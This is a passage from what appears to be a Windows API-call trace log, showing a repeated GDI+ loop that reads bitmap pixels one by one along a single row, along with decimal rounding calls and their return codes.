width=0x1c74cf20) returned 0x0 [0131.929] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.929] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=79, y=0, color=0x1c74cf80) returned 0x0 [0131.929] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.930] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.930] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.930] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.930] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=80, y=0, color=0x1c74cf80) returned 0x0 [0131.930] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.930] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.930] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.930] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.930] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=81, y=0, color=0x1c74cf80) returned 0x0 [0131.930] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.930] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.930] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.930] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.930] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=82, y=0, color=0x1c74cf80) returned 0x0 [0131.930] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.930] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.931] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.931] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.931] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=83, y=0, color=0x1c74cf80) returned 0x0 [0131.931] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.931] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.931] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.931] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.931] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=84, y=0, color=0x1c74cf80) returned 0x0 [0131.931] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.931] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.931] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.931] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.932] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=85, y=0, color=0x1c74cf80) returned 0x0 [0131.932] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.932] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.932] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.932] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.932] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=86, y=0, color=0x1c74cf80) returned 0x0 [0131.932] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.932] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.932] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.932] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.933] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=87, y=0, color=0x1c74cf80) returned 0x0 [0131.933] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.933] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.933] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.933] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.933] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=88, y=0, color=0x1c74cf80) returned 0x0 [0131.933] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.933] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.933] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.933] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.934] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=89, y=0, color=0x1c74cf80) returned 0x0 [0131.934] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.934] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.934] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.934] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.934] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=90, y=0, color=0x1c74cf80) returned 0x0 [0131.934] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.934] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.934] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.934] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.934] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=91, y=0, color=0x1c74cf80) returned 0x0 [0131.935] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.935] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.935] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.935] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.935] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=92, y=0, color=0x1c74cf80) returned 0x0 [0131.935] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.935] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.935] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.935] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.935] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=93, y=0, color=0x1c74cf80) returned 0x0 [0131.936] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.936] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.936] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.936] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.936] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=94, y=0, color=0x1c74cf80) returned 0x0 [0131.936] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.936] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.936] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.937] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.937] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=95, y=0, color=0x1c74cf80) returned 0x0 [0131.937] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.937] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.937] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.937] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.937] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=96, y=0, color=0x1c74cf80) returned 0x0 [0131.937] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.937] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.937] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.937] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.938] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=97, y=0, color=0x1c74cf80) returned 0x0 [0131.938] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.938] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.938] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.938] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.938] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=98, y=0, color=0x1c74cf80) returned 0x0 [0131.938] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.938] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.938] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.938] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.938] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=99, y=0, color=0x1c74cf80) returned 0x0 [0131.939] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.939] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.939] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.939] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.939] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=100, y=0, color=0x1c74cf80) returned 0x0 [0131.939] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.939] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.939] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.939] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.939] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=101, y=0, color=0x1c74cf80) returned 0x0 [0131.939] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.939] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.940] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.940] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.940] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=102, y=0, color=0x1c74cf80) returned 0x0 [0131.940] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.940] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.940] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.940] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.940] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=103, y=0, color=0x1c74cf80) returned 0x0 [0131.940] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.940] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.940] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.940] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.941] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=104, y=0, color=0x1c74cf80) returned 0x0 [0131.941] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.941] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.941] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.941] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.941] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=105, y=0, color=0x1c74cf80) returned 0x0 [0131.941] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.941] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.941] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.941] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.941] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=106, y=0, color=0x1c74cf80) returned 0x0 [0131.941] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.942] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.942] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.942] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.942] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=107, y=0, color=0x1c74cf80) returned 0x0 [0131.942] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.942] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.942] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.942] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.942] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=108, y=0, color=0x1c74cf80) returned 0x0 [0131.942] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.943] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.943] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.943] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.943] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=109, y=0, color=0x1c74cf80) returned 0x0 [0131.943] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.943] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.943] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.943] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.943] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=110, y=0, color=0x1c74cf80) returned 0x0 [0131.943] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.943] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.943] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.944] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.944] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=111, y=0, color=0x1c74cf80) returned 0x0 [0131.944] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.944] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.944] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.944] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.944] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=112, y=0, color=0x1c74cf80) returned 0x0 [0131.944] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.944] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.944] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.945] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.945] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=113, y=0, color=0x1c74cf80) returned 0x0 [0131.945] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.945] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.945] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.945] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.945] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=114, y=0, color=0x1c74cf80) returned 0x0 [0131.945] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.945] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.945] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.945] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.946] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=115, y=0, color=0x1c74cf80) returned 0x0 [0131.946] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.946] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.946] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.946] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.946] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=116, y=0, color=0x1c74cf80) returned 0x0 [0131.946] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.946] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.946] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.946] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.946] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=117, y=0, color=0x1c74cf80) returned 0x0 [0131.947] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.947] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.947] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.947] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.947] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=118, y=0, color=0x1c74cf80) returned 0x0 [0131.947] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.947] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.947] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.947] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.947] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=119, y=0, color=0x1c74cf80) returned 0x0 [0131.947] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.947] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.947] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.948] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.948] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=120, y=0, color=0x1c74cf80) returned 0x0 [0131.948] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.948] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.948] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.948] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.948] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=121, y=0, color=0x1c74cf80) returned 0x0 [0131.948] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.948] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.948] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.948] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.949] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=122, y=0, color=0x1c74cf80) returned 0x0 [0131.949] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.949] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.949] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.949] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.949] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=123, y=0, color=0x1c74cf80) returned 0x0 [0131.949] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.949] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.949] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.949] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.949] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=124, y=0, color=0x1c74cf80) returned 0x0 [0131.950] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.950] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.950] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.950] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.950] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=125, y=0, color=0x1c74cf80) returned 0x0 [0131.950] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.950] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.950] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.950] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.950] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=126, y=0, color=0x1c74cf80) returned 0x0 [0131.950] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.951] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.951] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.951] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.951] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=127, y=0, color=0x1c74cf80) returned 0x0 [0131.951] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.951] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.951] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.951] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.951] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=128, y=0, color=0x1c74cf80) returned 0x0 [0131.951] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.951] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: 